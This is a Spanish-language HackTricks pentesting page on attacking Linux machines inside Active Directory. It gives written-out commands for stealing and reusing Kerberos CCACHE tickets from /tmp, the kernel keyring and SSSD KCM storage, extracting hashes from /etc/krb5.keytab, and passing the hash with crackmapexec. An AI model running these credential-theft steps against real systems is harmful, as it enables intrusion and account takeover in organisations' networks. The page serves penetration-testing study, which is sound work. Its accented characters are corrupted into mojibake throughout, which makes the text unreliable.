Linux Active Directory
tip
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 馃挰 Discord group or the telegram group or follow us on Twitter 馃惁 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Una m谩quina linux tambi茅n puede estar presente dentro de un entorno de Active Directory.
Una m谩quina linux en un AD podr铆a estar almacenando diferentes tickets CCACHE dentro de archivos. Estos tickets pueden ser utilizados y abusados como cualquier otro ticket kerberos. Para leer estos tickets necesitar谩s ser el usuario propietario del ticket o root dentro de la m谩quina.
Enumeraci贸n
Enumeraci贸n de AD desde linux
Si tienes acceso a un AD en linux (o bash en Windows) puedes intentar https://github.com/lefayjey/linWinPwn para enumerar el AD.
Tambi茅n puedes consultar la siguiente p谩gina para aprender otras formas de enumerar AD desde linux:
389, 636, 3268, 3269 - Pentesting LDAP
FreeIPA
FreeIPA es una alternativa de c贸digo abierto a Active Directory de Microsoft, principalmente para entornos Unix. Combina un directorio LDAP completo con un Centro de Distribuci贸n de Claves Kerberos de MIT para la gesti贸n similar a Active Directory. Utiliza el Sistema de Certificados Dogtag para la gesti贸n de certificados CA y RA, y soporta autenticaci贸n multi-factor, incluyendo tarjetas inteligentes. SSSD est谩 integrado para procesos de autenticaci贸n Unix. Aprende m谩s sobre ello en:
Jugando con tickets
Pass The Ticket
En esta p谩gina encontrar谩s diferentes lugares donde podr铆as encontrar tickets kerberos dentro de un host linux, en la siguiente p谩gina puedes aprender c贸mo transformar estos formatos de tickets CCache a Kirbi (el formato que necesitas usar en Windows) y tambi茅n c贸mo realizar un ataque PTT:
Reutilizaci贸n de tickets CCACHE desde /tmp
Los archivos CCACHE son formatos binarios para almacenar credenciales Kerberos que generalmente se almacenan con permisos 600 en /tmp
. Estos archivos pueden ser identificados por su formato de nombre, krb5cc_%{uid}
, que correlaciona con el UID del usuario. Para la verificaci贸n del ticket de autenticaci贸n, la variable de entorno KRB5CCNAME
debe ser configurada con la ruta del archivo de ticket deseado, permitiendo su reutilizaci贸n.
Lista el ticket actual utilizado para la autenticaci贸n con env | grep KRB5CCNAME
. El formato es port谩til y el ticket puede ser reutilizado configurando la variable de entorno con export KRB5CCNAME=/tmp/ticket.ccache
. El formato del nombre del ticket Kerberos es krb5cc_%{uid}
donde uid es el UID del usuario.
# Find tickets
ls /tmp/ | grep krb5cc
krb5cc_1000
# Prepare to use it
export KRB5CCNAME=/tmp/krb5cc_1000
Reutilizaci贸n de tickets CCACHE desde el keyring
Los tickets de Kerberos almacenados en la memoria de un proceso pueden ser extra铆dos, particularmente cuando la protecci贸n ptrace de la m谩quina est谩 deshabilitada (/proc/sys/kernel/yama/ptrace_scope
). Una herramienta 煤til para este prop贸sito se encuentra en https://github.com/TarlogicSecurity/tickey, que facilita la extracci贸n inyectando en sesiones y volcando tickets en /tmp
.
Para configurar y usar esta herramienta, se siguen los pasos a continuaci贸n:
git clone https://github.com/TarlogicSecurity/tickey
cd tickey/tickey
make CONF=Release
/tmp/tickey -i
Este procedimiento intentar谩 inyectar en varias sesiones, indicando el 茅xito al almacenar los tickets extra铆dos en /tmp
con una convenci贸n de nombres de __krb_UID.ccache
.
Reutilizaci贸n de tickets CCACHE desde SSSD KCM
SSSD mantiene una copia de la base de datos en la ruta /var/lib/sss/secrets/secrets.ldb
. La clave correspondiente se almacena como un archivo oculto en la ruta /var/lib/sss/secrets/.secrets.mkey
. Por defecto, la clave solo es legible si tienes permisos de root.
Invocar **SSSDKCMExtractor
** con los par谩metros --database y --key analizar谩 la base de datos y desencriptar谩 los secretos.
git clone https://github.com/fireeye/SSSDKCMExtractor
python3 SSSDKCMExtractor.py --database secrets.ldb --key secrets.mkey
El blob de cach茅 de credenciales de Kerberos se puede convertir en un archivo CCache de Kerberos utilizable que se puede pasar a Mimikatz/Rubeus.
Reutilizaci贸n de tickets CCACHE desde keytab
git clone https://github.com/its-a-feature/KeytabParser
python KeytabParser.py /etc/krb5.keytab
klist -k /etc/krb5.keytab
Extraer cuentas de /etc/krb5.keytab
Las claves de cuentas de servicio, esenciales para los servicios que operan con privilegios de root, se almacenan de forma segura en los archivos /etc/krb5.keytab
. Estas claves, similares a contrase帽as para servicios, requieren estricta confidencialidad.
Para inspeccionar el contenido del archivo keytab, se puede emplear klist
. La herramienta est谩 dise帽ada para mostrar detalles de la clave, incluyendo el NT Hash para la autenticaci贸n de usuarios, particularmente cuando el tipo de clave se identifica como 23.
klist.exe -t -K -e -k FILE:C:/Path/to/your/krb5.keytab
# Output includes service principal details and the NT Hash
Para los usuarios de Linux, KeyTabExtract
ofrece funcionalidad para extraer el hash RC4 HMAC, que se puede aprovechar para la reutilizaci贸n del hash NTLM.
python3 keytabextract.py krb5.keytab
# Expected output varies based on hash availability
En macOS, bifrost
sirve como una herramienta para el an谩lisis de archivos keytab.
./bifrost -action dump -source keytab -path /path/to/your/file
Utilizando la informaci贸n de cuenta y hash extra铆da, se pueden establecer conexiones a servidores utilizando herramientas como crackmapexec
.
crackmapexec 10.XXX.XXX.XXX -u 'ServiceAccount$' -H "HashPlaceholder" -d "YourDOMAIN"
Referencias
- https://www.tarlogic.com/blog/how-to-attack-kerberos/
- https://github.com/TarlogicSecurity/tickey
- https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#linux-active-directory
tip
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 馃挰 Discord group or the telegram group or follow us on Twitter 馃惁 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.